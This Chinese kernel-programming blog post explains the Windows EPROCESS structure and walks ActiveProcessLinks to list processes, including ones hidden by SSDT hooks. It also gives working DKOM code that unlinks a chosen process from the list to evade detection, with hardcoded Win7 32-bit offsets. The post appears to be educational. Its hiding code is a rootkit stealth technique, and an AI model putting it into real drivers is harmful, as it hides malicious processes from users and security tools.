遍历进程活动链表(ActiveProcessLinks)、DKOM隐藏进程

1.EPROCESS结构体

EPROCESS块来表示。EPROCESS块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字,和在用户空间的PEB(进程环境)块等等。EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的。

2.查看EPROCESS结构

kd> dt_eprocess
ntdll!_EPROCESS
   +0×000 Pcb              : _KPROCESS
   +0×098 ProcessLock      : _EX_PUSH_LOCK
   +0x0a0 CreateTime       : _LARGE_INTEGER                          //创建时间
   +0x0a8 ExitTime         : _LARGE_INTEGER                             //退出时间
   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId  : Ptr32 Void                                        //进程的pid
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY                            //活动进程链表
   +0x0c0 ProcessQuotaUsage : [2] Uint4B
   +0x0c8 ProcessQuotaPeak : [2] Uint4B
   +0x0d0 CommitCharge     : Uint4B
   +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK
   +0x0d8 CpuQuotaBlock    : Ptr32 _PS_CPU_QUOTA_BLOCK
   +0x0dc PeakVirtualSize  : Uint4B
   +0x0e0 VirtualSize      : Uint4B
   +0x0e4 SessionProcessLinks : _LIST_ENTRY
   +0x0ec DebugPort        : Ptr32 Void
   +0x0f0 ExceptionPortData : Ptr32 Void
   +0x0f0 ExceptionPortValue : Uint4B
   +0x0f0 ExceptionPortState : Pos 0, 3 Bits
   +0x0f4 ObjectTable      : Ptr32 _HANDLE_TABLE                       //指向句柄表的指针
   +0x0f8 Token            : _EX_FAST_REF
   +0x0fc WorkingSetPage   : Uint4B
   +0×100 AddressCreationLock : _EX_PUSH_LOCK
   +0×104 RotateInProgress : Ptr32 _ETHREAD
   +0×108 ForkInProgress   : Ptr32 _ETHREAD
   +0x10c HardwareTrigger  : Uint4B
   +0×110 PhysicalVadRoot  : Ptr32 _MM_AVL_TABLE
   +0×114 CloneRoot        : Ptr32 Void
   +0×118 NumberOfPrivatePages : Uint4B
   +0x11c NumberOfLockedPages : Uint4B
   +0×120 Win32Process     : Ptr32 Void
   +0×124 Job              : Ptr32 _EJOB
   +0×128 SectionObject    : Ptr32 Void
   +0x12c SectionBaseAddress : Ptr32 Void
   +0×130 Cookie           : Uint4B
   +0×134 Spare8           : Uint4B
   +0×138 WorkingSetWatch  : Ptr32 _PAGEFAULT_HISTORY
   +0x13c Win32WindowStation : Ptr32 Void
   +0×140 InheritedFromUniqueProcessId : Ptr32 Void
   +0×144 LdtInformation   : Ptr32 Void
   +0×148 VdmObjects       : Ptr32 Void
   +0x14c ConsoleHostProcess : Uint4B
   +0×150 DeviceMap        : Ptr32 Void
   +0×154 EtwDataSource    : Ptr32 Void
   +0×158 FreeTebHint      : Ptr32 Void
   +0×160 PageDirectoryPte : _HARDWARE_PTE_X86
   +0×160 Filler           : Uint8B
   +0×168 Session          : Ptr32 Void
   +0x16c ImageFileName    : [15] UChar                               //进程名称
   +0x17b PriorityClass    : UChar
   +0x17c JobLinks         : _LIST_ENTRY
   +0×184 LockedPagesList  : Ptr32 Void
   +0×188 ThreadListHead   : _LIST_ENTRY                      //进程里的线程链表
   +0×190 SecurityPort     : Ptr32 Void
   +0×194 PaeTop           : Ptr32 Void
   +0×198 ActiveThreads    : Uint4B
   +0x19c ImagePathHash    : Uint4B
   +0x1a0 DefaultHardErrorProcessing : Uint4B
   +0x1a4 LastThreadExitStatus : Int4B
   +0x1a8 Peb              : Ptr32 _PEB                        //指向PEB的指针
   +0x1ac PrefetchTrace    : _EX_FAST_REF
   +0x1b0 ReadOperationCount : _LARGE_INTEGER
   +0x1b8 WriteOperationCount : _LARGE_INTEGER
   +0x1c0 OtherOperationCount : _LARGE_INTEGER
   +0x1c8 ReadTransferCount : _LARGE_INTEGER
   +0x1d0 WriteTransferCount : _LARGE_INTEGER
   +0x1d8 OtherTransferCount : _LARGE_INTEGER
   +0x1e0 CommitChargeLimit : Uint4B
   +0x1e4 CommitChargePeak : Uint4B
   +0x1e8 AweInfo          : Ptr32 Void
   +0x1ec SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO
   +0x1f0 Vm               : _MMSUPPORT
   +0x25c MmProcessLinks   : _LIST_ENTRY
   +0×264 HighestUserAddress : Ptr32 Void
   +0×268 ModifiedPageCount : Uint4B
   +0x26c Flags2           : Uint4B
   +0x26c JobNotReallyActive : Pos 0, 1 Bit
   +0x26c AccountingFolded : Pos 1, 1 Bit
   +0x26c NewProcessReported : Pos 2, 1 Bit
   +0x26c ExitProcessReported : Pos 3, 1 Bit
   +0x26c ReportCommitChanges : Pos 4, 1 Bit
   +0x26c LastReportMemory : Pos 5, 1 Bit
   +0x26c ReportPhysicalPageChanges : Pos 6, 1 Bit
   +0x26c HandleTableRundown : Pos 7, 1 Bit
   +0x26c NeedsHandleRundown : Pos 8, 1 Bit
   +0x26c RefTraceEnabled  : Pos 9, 1 Bit
   +0x26c NumaAware        : Pos 10, 1 Bit
   +0x26c ProtectedProcess : Pos 11, 1 Bit
   +0x26c DefaultPagePriority : Pos 12, 3 Bits
   +0x26c PrimaryTokenFrozen : Pos 15, 1 Bit
   +0x26c ProcessVerifierTarget : Pos 16, 1 Bit
   +0x26c StackRandomizationDisabled : Pos 17, 1 Bit
   +0x26c AffinityPermanent : Pos 18, 1 Bit
   +0x26c AffinityUpdateEnable : Pos 19, 1 Bit
   +0x26c PropagateNode    : Pos 20, 1 Bit
   +0x26c ExplicitAffinity : Pos 21, 1 Bit
   +0×270 Flags            : Uint4B
   +0×270 CreateReported   : Pos 0, 1 Bit
   +0×270 NoDebugInherit   : Pos 1, 1 Bit
   +0×270 ProcessExiting   : Pos 2, 1 Bit
   +0×270 ProcessDelete    : Pos 3, 1 Bit
   +0×270 Wow64SplitPages  : Pos 4, 1 Bit
   +0×270 VmDeleted        : Pos 5, 1 Bit
   +0×270 OutswapEnabled   : Pos 6, 1 Bit
   +0×270 Outswapped       : Pos 7, 1 Bit
   +0×270 ForkFailed       : Pos 8, 1 Bit
   +0×270 Wow64VaSpace4Gb  : Pos 9, 1 Bit
   +0×270 AddressSpaceInitialized : Pos 10, 2 Bits
   +0×270 SetTimerResolution : Pos 12, 1 Bit
   +0×270 BreakOnTermination : Pos 13, 1 Bit
   +0×270 DeprioritizeViews : Pos 14, 1 Bit
   +0×270 WriteWatch       : Pos 15, 1 Bit
   +0×270 ProcessInSession : Pos 16, 1 Bit
   +0×270 OverrideAddressSpace : Pos 17, 1 Bit
   +0×270 HasAddressSpace  : Pos 18, 1 Bit
   +0×270 LaunchPrefetched : Pos 19, 1 Bit
   +0×270 InjectInpageErrors : Pos 20, 1 Bit
   +0×270 VmTopDown        : Pos 21, 1 Bit
   +0×270 ImageNotifyDone  : Pos 22, 1 Bit
   +0×270 PdeUpdateNeeded  : Pos 23, 1 Bit
   +0×270 VdmAllowed       : Pos 24, 1 Bit
   +0×270 CrossSessionCreate : Pos 25, 1 Bit
   +0×270 ProcessInserted  : Pos 26, 1 Bit
   +0×270 DefaultIoPriority : Pos 27, 3 Bits
   +0×270 ProcessSelfDelete : Pos 30, 1 Bit
   +0×270 SetTimerResolutionLink : Pos 31, 1 Bit
   +0×274 ExitStatus       : Int4B
   +0×278 VadRoot          : _MM_AVL_TABLE
   +0×298 AlpcContext      : _ALPC_PROCESS_CONTEXT
   +0x2a8 TimerResolutionLink : _LIST_ENTRY
   +0x2b0 RequestedTimerResolution : Uint4B
   +0x2b4 ActiveThreadsHighWatermark : Uint4B
   +0x2b8 SmallestTimerResolution : Uint4B
   +0x2bc TimerResolutionStackRecord : Ptr32 _PO_DIAG_STACK_RECORD

3.什么是进程活动链表?

EPROCESS块中有一个ActiveProcessLinks成员,它是一个PLIST_ENTRY结构的双向链表。当一个新进程建立的时候父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中。

在PspCreateProcess内核API中能清晰的找到:

InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);

当进程结束的时候,该进程的EPROCESS结构当从活动进程链上摘除。(但是EPROCESS结构不一定就马上释放)。

在PspExitProcess内核API中能清晰的找到:

RemoveEntryList(&Process->ActiveProcessLinks);

所以我们完全可以利用活动进程链表来对进程进行枚举。

关于链表的使用,可以参考:Windows内核中字符串和链表的使用

4. 进程枚举检测Hook SSDT隐藏的进程。

我们前面在SSDT Hook实现简单的进程隐藏和保护这篇文章中讲到如果使用ssdt hook来隐藏进程。

事实上Nactive API ZwQuerySystemInformation 对进程查询也是找到活动进程链表头,然后遍历活动进程链。最后把每一个EPROCESS中包含的基本信息返回(包括进程ID名字等)。所以用遍历活动进程链表的办法能有效的把Hook SSDT进行隐藏的进程轻而易举的查出来。但是PsActiveProcessHead并没被ntoskrnl.exe 导出来,所以我们可以利用硬编码的办法,来解决这个问题。

在win7 32位下:

#define PIDOFFSET 0xb4   //_EPROCESS中UniqueProcessId的偏移
#define FLICKOFFSET 0xb8   //_EPROCESS中ActiveProcessLinks偏移
#define IMAGEFILENAME 0x16C   //_EPROCESS中ImageFileName的偏移

示例代码:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

//遍历ActiveProcessLinks来显示所有进程
void ShowEPROCESS()
{
    DWORD EProcess,FirstEProcess;
    LIST_ENTRY*     ActiveProcessLinks;
    DWORD pid,dwCount=0;
    PUCHAR pImage;
    EProcess=FirstEProcess=(DWORD)PsGetCurrentProcess();
    __try {  
        while ( EProcess!= 0)  
        {  
            dwCount++;  
            pid= *( (DWORD*)( EProcess + PIDOFFSET ) );  
            pImage= (PUCHAR)( EProcess + IMAGEFILENAME ) ;

DbgPrint ( "[Pid=%8d] EProcess=0x%08X %s\n", pid, EProcess, pImage) ;

ActiveProcessLinks = (LIST_ENTRY*) ( EProcess + FLICKOFFSET ) ;  
            EProcess = (DWORD)ActiveProcessLinks->Flink - FLICKOFFSET ;

if ( EProcess == FirstEProcess )  
                break ;  
        }  
        DbgPrint ( "ProcessCount = %d\n", dwCount ) ;  
    }
    __except ( 1 ) {  
        DbgPrint ( "EnumProcessList exception !" ) ;  
    }
}

5. 删除活动进程链表节点实现进程隐藏

由于Windows是基于线程调度的。所以如果我们把要隐藏的进程的EPROCESS块从活动进程链上摘除,就能有效的绕过基于通过活动进程链表检测进程的防御系统。因为是以线程为基本单位进行调度,所以摘除过后并不影响隐藏进程的线程调度。

示例代码:

根据pid在进程活动链表中找到进程的eprocess结构体


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

DWORD FindProcessInEPROCESS(int hidePid)
{
    DWORD eproc = 0x00000000;
    int currentPid = 0;
    int startPid = 0;
    int cout = 0;
    PLIST_ENTRY pListActiveProcs;

if(0 == hidePid)
    {
        return hidePid;
    }

//遍历ActiveList
    eproc = (DWORD)PsGetCurrentProcess();
    startPid = *((DWORD*)(eproc+PIDOFFSET));
    currentPid = startPid;

while(TRUE)
    {
        if(hidePid  == currentPid)
        {
            return eproc;
        }else if((cout >= 1) && (startPid == currentPid))
        {  
            //没有找到
            return 0x00000000;
        }else{
            pListActiveProcs = (LIST_ENTRY *)(eproc + FLICKOFFSET);
            eproc = (DWORD) pListActiveProcs->Flink;
            eproc = eproc - FLICKOFFSET;
            currentPid = *((int *)(eproc + PIDOFFSET));
        }
    }
}

把这个结构体从活动进程链表中摘去


1
2
3
4
5
6
7
8
9
10
11
12

void HideProcess(int hidePid)
{
    PLIST_ENTRY pListActiveProcs = NULL;
    PLIST_ENTRY pHandleTable = NULL;
    DWORD eproc = FindProcessInEPROCESS(hidePid);// 在EPROCESS结构中找到这个进程
    DbgPrint("eproc %08X",eproc);
    pListActiveProcs = (LIST_ENTRY*)(eproc + FLICKOFFSET);
    *((DWORD*)pListActiveProcs->Blink) = (DWORD)pListActiveProcs->Flink;
    *((DWORD*)pListActiveProcs->Flink+1) = (DWORD)pListActiveProcs->Blink;
    pListActiveProcs->Flink = (LIST_ENTRY *)&(pListActiveProcs->Flink);
    pListActiveProcs->Blink = (LIST_ENTRY *)&(pListActiveProcs->Flink);
}

本文链接:http://www.blogfshare.com/activeprocesslinks-dkom.html

jpg 改 rar

时间: 2024-10-08 10:11:42

遍历进程活动链表(ActiveProcessLinks)、DKOM隐藏进程的相关文章

遍历PspCidTable表检测隐藏进程

一.PspCidTable概述 PspCidTable也是一个句柄表,其格式与普通的句柄表是完全一样的,但它与每个进程私有的句柄表有以下不同: 1.PspCidTable中存放的对象是系统中所有的进程线程对象,其索引就是PID和TID. 2.PspCidTable中存放的直接是对象体(EPROCESS和ETHREAD),而每个进程私有的句柄表则存放的是对象头(OBJECT_HEADER). 3.PspCidTable是一个独立的句柄表,而每个进程私有的句柄表以一个双链连接起来.注意访问对象时要掩

Linux进程退出详解(do_exit)--Linux进程的管理与调度(十四))

日期 内核版本 架构 作者 GitHub CSDN 2016-05-12 Linux-4.6 X86 & arm gatieme LinuxDeviceDrivers Linux进程管理与调度 Linux进程的退出 linux下进程退出的方式 正常退出 从main函数返回return 调用exit 调用_exit 异常退出 调用abort 由信号终止 _exit, exit和_Exit的区别和联系 _exit是linux系统调用,关闭所有文件描述符,然后退出进程. exit是c语言的库函数,他最

Linux进程退出详解(do_exit)--Linux进程的管理与调度(十四)

Linux进程的退出 linux下进程退出的方式 正常退出 从main函数返回return 调用exit 调用_exit 异常退出 调用abort 由信号终止 _exit, exit和_Exit的区别和联系 _exit是linux系统调用,关闭所有文件描述符,然后退出进程. exit是c语言的库函数,他最终调用_exit.在此之前,先清洗标准输出的缓存,调用用atexit注册的函数等, 在c语言的main函数中调用return就等价于调用exit. _Exit是c语言的库函数,自c99后加入,等

linux如和对其他用户隐藏进程?

Linux kernel 3.2以上,root用户可以设置内核,让普通用户看不到其它用户的进程.适用于有多个用户使用的系统.该功能由内核提供,因此本教程适用于Debian/Ubuntu/RHEL/CentOS等. 原理 Linux中,可以通过/proc文件系统访问到许多内核的内部信息./proc文件系统最初的设计也是用于方便地访问进程相关的信息,因此命名为proc.现在这个文件系统已用于反映系统中方方面面的信息,例如/proc/modules是模块的列表,/proc/meminfo则是内存使用的

安全之路 —— 利用远程线程注入的方法(使用DLL)实现穿墙与隐藏进程

简介 大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文件注入系统认可的正常进程,你会发现任务管理器以及找不到独立出现的恶意进程项了.反向连接型后门采用这种技术,注入防火墙认可的进程(例如大部分系统进程,像explorer.exe就很常见)还能够获得一定的穿墙效果. 进程注入虽然已经是将近10年前的技术了,但是今天出现的很多新型黑客技术大多数还是基于这类老技术演变而来

delphi中获得进程列表或想要的进程(枚举进程、遍历进程)

一个常见的编程任务是枚举所有运行的"应用程序".Windows 任务管理器就是一个很好的例子.它用两种方式列出"应用程序".任务管理器的第一个选项卡列出桌面上的所有"应用程序窗口".第二个选项卡列出系统中的所有"进程".本文提供了如何执行这些任务的详细信息. 枚举顶层窗口如果将枚举进程与枚举桌面上的顶层窗口进行比较,那么枚举顶层窗口可能更容易一些.要枚举顶层窗口,请使用 EnumWindows() 函数.不要使用 GetWin

【旧文章搬运】遍历EPROCESS中的ActiveProcessLinks枚举进程

原文发表于百度空间,2008-7-25========================================================================== 前面对PEB的相关结构和其中的重要成员进行了分析和学习,现在开始真正进入内核,学习内核中的一些结构.这个EPROCESS结构在ntddk.h中有定义,但是并未给出具体的结构,因此要得到EPROCESS中一些重要的成员变量,只能通过偏移的方法,比如PID,ImageName等.这些偏移可以在Windbg中dt _

LINUX PID 1和SYSTEMD PID 0 是内核的一部分,主要用于内进换页,内核初始化的最后一步就是启动 init 进程。这个进程是系统的第一个进程,PID 为 1,又叫超级进程

要说清 Systemd,得先从 Linux 操作系统的启动说起.Linux 操作系统的启动首先从 BIOS 开始,然后由 Boot Loader 载入内核,并初始化内核.内核初始化的最后一步就是启动 init 进程.这个进程是系统的第一个进程,PID 为 1,又叫超级进程,也叫根进程.它负责产生其他所有用户进程.所有的进程都会被挂在这个进程下,如果这个进程退出了,那么所有的进程都被 kill .如果一个子进程的父进程退了,那么这个子进程会被挂到 PID 1 下面.(注:PID 0 是内核的一部分

创建守护进程步骤与setsid() -- linux deamon进程

原创:http://www.cnblogs.com/mickole/p/3188321.html 一,守护进程概述 Linux Daemon(守护进程)是运行在后台的一种特殊进程.它独立于控制终端并且周期性地执行某种任务或等待处理某些发生的事件.它不需要用户输入就能运行而且提供某种服务,不是对整个系统就是对某个用户程序提供服务.Linux系统的大多数服务器就是通过守护进程实现的.常见的守护进程包括系统日志进程syslogd. web服务器httpd.邮件服务器sendmail和数据库服务器mys